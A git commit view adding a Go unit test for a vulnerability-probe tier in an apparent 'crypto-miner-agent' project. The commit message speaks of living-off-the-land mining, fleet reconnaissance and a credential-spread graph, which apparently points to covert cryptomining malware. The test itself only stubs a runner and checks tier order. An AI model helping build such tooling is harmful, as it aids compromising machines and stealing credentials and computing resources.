Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
29
agent/miner/tier_vuln_probe_test.go
Normal file
29
agent/miner/tier_vuln_probe_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunVulnProbeTierWithRunner(t *testing.T) {
|
||||
SetVulnProbeRunner(func() TierAttempt {
|
||||
return TierAttempt{Tier: TierVulnProbe, OK: true, Details: map[string]interface{}{"finding_count": 3}}
|
||||
})
|
||||
defer SetVulnProbeRunner(nil)
|
||||
|
||||
attempt := RunVulnProbeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "test"},
|
||||
})
|
||||
if !attempt.OK || attempt.Tier != TierVulnProbe {
|
||||
t.Fatalf("unexpected attempt: %+v", attempt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeTiersIncludesVulnFirst(t *testing.T) {
|
||||
tiers := ProbeTiers(DefaultTierOrder)
|
||||
if len(tiers) == 0 || tiers[0] != TierVulnProbe {
|
||||
t.Fatalf("expected vuln_probe first, got %v", tiers)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user